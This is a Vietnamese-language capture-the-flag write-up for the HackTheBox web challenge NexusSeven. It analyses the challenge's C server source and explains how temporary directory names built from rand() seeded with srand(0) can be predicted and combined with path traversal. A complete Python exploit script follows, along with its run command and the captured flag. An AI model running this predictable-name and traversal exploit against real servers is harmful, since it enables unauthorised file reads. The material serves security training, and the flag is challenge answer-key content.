---
# System prepended metadata

title: Web - NexusSeven

---

# HackTheBox - NexusSeven
## Category: Web
## Level: Easy


### Exploitation
- Đây là một challenge được viết bằng C
- Dựa vào source code, có thể suy ra các điểm chính như sau:
    - Khi user truy cập đến 1 file được phép (`.txt`, `.html`,...), hệ thống sẽ tạo ra một file tạm để lưu trữ request và response
    - Ngay sau khi có `response`, `response` sẽ được ghi vào file tạm và hệ thống sẽ xóa file tạm đó sau khi response tới được user
    ```C
    void *handle_client(void *arg)
    {
        int   client_fd = *(int *)arg;
        ctx_t *ctx      = (ctx_t *)calloc(1, sizeof(ctx_t));

        size_t total_received = 0;
        
        ...
        
                build_stats_dir_name(base, stats_dir_path, sizeof(stats_dir_path));
                if (mkdir(stats_dir_path, 0700) == 0)
                    stats_dir_created = true;
                if (stats_dir_created)
                    write_request_stats(ctx, stats_dir_path, client_fd);

                if (!extension_is_allowed(ctx) || strstr("..", ctx->filepath) != NULL) {
                  build_bad_http_response(ctx);
                } else {
                  build_http_response(ctx);
                }

                if (stats_dir_created)
                    write_request_stats(ctx, stats_dir_path, client_fd);
            } else {
                build_bad_http_response(ctx);
            }
        } else {
            build_bad_http_response(ctx);
        }

        ...

            send(client_fd, ctx->response, hdr_len, 0);
            send(client_fd, extra, extra_len, 0);
            send(client_fd, body, body_len, 0);
        } else {
            send(client_fd, ctx->response, strlen(ctx->response), 0);
        }

        char discard;
        while (recv(client_fd, &discard, 1, 0) > 0) {}

    cleanup:
        if (stats_dir_created)
            remove_stats_dir(stats_dir_path);

        close(client_fd);
        free(arg);
        free(ctx);
        return NULL;
    }
    ```
    
    - Ngoài ra, hệ thống còn triển khai các biện pháp để tránh trường hợp `Path Traversal`
    ```C
    void cleanup_filepath(ctx_t *ctx)
    {
      while (strlen(ctx->filepath) && ctx->filepath[0] == '/') {
        memmove(ctx->filepath, ctx->filepath+1, strlen(ctx->filepath));
      }
      for (size_t i = 0; i < strlen(ctx->filepath); ++i) {
        if (ctx->filepath[i] == '.' || ctx->filepath[i] == '/' \
            || ctx->filepath[i] == '-' || ctx->filepath[i] == '_' \
            || isalnum(ctx->filepath[i])) continue;
        strcpy(ctx->filepath, DEFAULT_ROUTE);
        ctx->filepath[strlen(DEFAULT_ROUTE)] = '\0';
        break;
      }
    }
    ```
    
    - Tuy nhiên, điểm mấu chốt của challenge nằm ở cách tạo file tạm thời
    ```C
    #define RANDOM_SUFFIX_LEN     8
    
    ...
    
    static void random_hex(char *out, size_t len) {
      for (size_t i = 0; i < len; ++i) {
        uint8_t byte = rand() & 0xFF;
        sprintf(out + (i * 2), "%02x", byte);
      }
      out[len * 2] = '\0';
    }

    static void build_stats_dir_name(const char *filename, char *out, size_t out_size) {
      char suffix[RANDOM_SUFFIX_LEN * 2 + 1];
      random_hex(suffix, RANDOM_SUFFIX_LEN);
      snprintf(out, out_size, "%s/%s_%s", STATS_ROOT_DIR, suffix, filename);
    }
    ```
    - Tên file tạm là một chuỗi hex với độ dài `17` được thêm vào trước tên file mà user truy cập, và đặt trong /stats
    - Tuy nhiên, điểm yếu của hệ thống là cho phép suffix quá dễ đoán
    ```C
    int main(int argc, const char **argv)
    {
      srand(0);
      ensure_stats_root_created();
      
      ...
      
    }
    ```
    -> Suffix có thể dự đoán được, và không thay đổi
    
- Từ những thông tin trên, có thể suy đoán được cách tấn công là kết hợp giữa `Race Condition` và `Path Traversal` (đọc file nhạy cảm khi file tạm chưa kịp xóa). Mặc dù hệ thống đã triển khai ngăn chặn `Path traversal`, nhưng không hoàn toàn chặn được lỗ hổng này (chỉ cần Path traversal đằng sau file tạm)

- Mô tả tấn công:
    - Dự đoán suffix của hệ thống
    - User truy cập 1 file hợp lệ (`filename`), sau đó đồng thời truy cập `/stats/{suffix}_filename`
    - Thu được flag từ file tạm, trước khi nó bị xóa

- Script (Nguồn: [Here](https://github.com/0xMineGo800m/hackem/blob/fbf28e0853f4b3a51c66aab953e75d5c6a89b97f/HackTheBox/Challenges/Web/NexusSeven/solver.py)):
```Python
#!/usr/bin/env python3
import argparse, ctypes, os, socket, sys, threading, time, http.client

def predict_suffixes(start_index: int, count: int):
    """
    Generate `count` successive stats suffixes starting from directory index `start_index`,
    using the *real* C srand(0)/rand() via libc. Each suffix = 8 rand() bytes -> 16 hex chars.
    """
    # load libc and set prototypes
    if sys.platform.startswith("linux"):
        libc_name = "libc.so.6"
    elif sys.platform == "darwin":
        libc_name = "libc.dylib"
    else:
        raise RuntimeError("Unsupported OS for libc rand().")

    libc = ctypes.CDLL(libc_name)
    libc.srand.argtypes = [ctypes.c_uint]
    libc.rand.restype = ctypes.c_int

    libc.srand(0)

    # Fast-forward to start_index (each dir consumes 8 rand() calls)
    burn = start_index * 8
    for _ in range(burn):
        libc.rand()

    # Produce `count` suffixes
    out = []
    for _ in range(count):
        bytes8 = []
        for _ in range(8):
            r = libc.rand()
            b = r & 0xFF
            bytes8.append(f"{b:02x}")
        out.append("".join(bytes8))
    return out

def keepalive_holder(host: str, port: int, probe: str, ready_evt: threading.Event):
    """
    Open a raw TCP socket, send GET /<probe>.txt with Connection: keep-alive, then *do nothing*.
    This keeps the server’s stats dir on disk until the socket is closed.
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    req = (
        f"GET /{probe}.txt HTTP/1.1\r\n"
        f"Host: {host}\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
    ).encode("ascii")
    s.sendall(req)
    # We could read the response headers/body, but it's not necessary.
    ready_evt.set()
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        pass
    finally:
        try: s.shutdown(socket.SHUT_RDWR)
        except Exception: pass
        s.close()

def http_get_raw(host: str, port: int, path: str, timeout: float = 3.0):
    """
    Issue a raw HTTP/1.1 GET with the path sent *exactly as provided* (no normalization).
    """
    conn = http.client.HTTPConnection(host, port, timeout=timeout)
    # http.client leaves the path untouched; that’s what we want.
    conn.putrequest("GET", path, skip_host=True, skip_accept_encoding=True)
    conn.putheader("Host", f"{host}:{port}")
    conn.putheader("Connection", "close")
    conn.endheaders()
    resp = conn.getresponse()
    body = resp.read()
    conn.close()
    return resp.status, resp.reason, body

def main():
    ap = argparse.ArgumentParser(description="Stats-dir traversal exploit (local & remote).")
    ap.add_argument("--base", default="127.0.0.1:1337", help="host:port (default: 127.0.0.1:1337)")
    ap.add_argument("--probe", default="probe", help="basename for probe (creates <probe>.txt)")
    ap.add_argument("--index", type=int, default=0, help="dir index to try first (0 after fresh start)")
    ap.add_argument("--window", type=int, default=1, help="number of successive indices to try")
    ap.add_argument("--depth", type=int, default=3, help="number of ../ to climb (3 is /app -> /)")
    ap.add_argument("--target", default="/flag.txt", help="target file after traversal")
    ap.add_argument("--verbose", action="store_true")
    args = ap.parse_args()

    host, port_str = args.base.split(":")
    port = int(port_str)

    # 1) Start holder thread to keep stats dir alive
    holder_ready = threading.Event()
    t = threading.Thread(target=keepalive_holder, args=(host, port, args.probe, holder_ready), daemon=True)
    t.start()
    holder_ready.wait(2.0)  # give it a moment to send the request

    # 2) Predict candidate suffixes (from real libc rand)
    suffixes = predict_suffixes(args.index, args.window)

    # 3) Try each candidate
    traversal = "/".join([".."] * args.depth)
    if traversal: traversal += "/"
    for i, suf in enumerate(suffixes):
        trial_index = args.index + i
        path = f"/stats/{suf}_{args.probe}.txt/{traversal}{args.target.lstrip('/')}"
        if args.verbose:
            print(f"[*] Trying index={trial_index} suffix={suf} path={path}")
        try:
            status, reason, body = http_get_raw(host, port, path, timeout=4.0)
        except Exception as e:
            if args.verbose:
                print(f"[!] Request failed: {e}")
            continue

        if args.verbose:
            print(f"[+] {status} {reason}")
        if status == 200 and body:
            print("===== FLAG =====")
            try:
                sys.stdout.write(body.decode("utf-8", errors="replace"))
            except Exception:
                sys.stdout.buffer.write(body)
            print("\n================")
            return
        # keep going on 400/404/etc.

    print("[-] No hit in window. Try increasing --index/--window, and keep the holder running longer.")
    print("    Tip: if server just started, use --index 0 --window 1.")

if __name__ == "__main__":
    main()
```

- Thực thi:
```
python script.py --base [IP:PORT] --index 0 --window 0
```

- Lưu ý: Nên restart lại challenge trước khi thực thi để đảm bảo suffix chính xác

![image](https://hackmd.io/_uploads/BJ2-9RO6gx.png)


### Result
```
HTB{the_m0r3_th3_c4llz_th3_mor3_the_hol3z}
```